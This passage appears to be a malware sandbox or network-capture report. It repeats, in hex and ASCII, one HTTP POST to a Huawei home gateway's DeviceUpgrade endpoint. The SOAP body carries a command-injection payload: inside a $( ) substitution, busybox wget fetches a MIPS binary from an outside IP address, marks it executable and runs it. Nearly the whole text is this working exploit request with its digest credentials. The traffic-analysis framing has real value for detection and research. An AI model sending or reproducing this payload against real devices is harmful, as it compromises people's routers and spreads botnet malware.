73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewSta
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 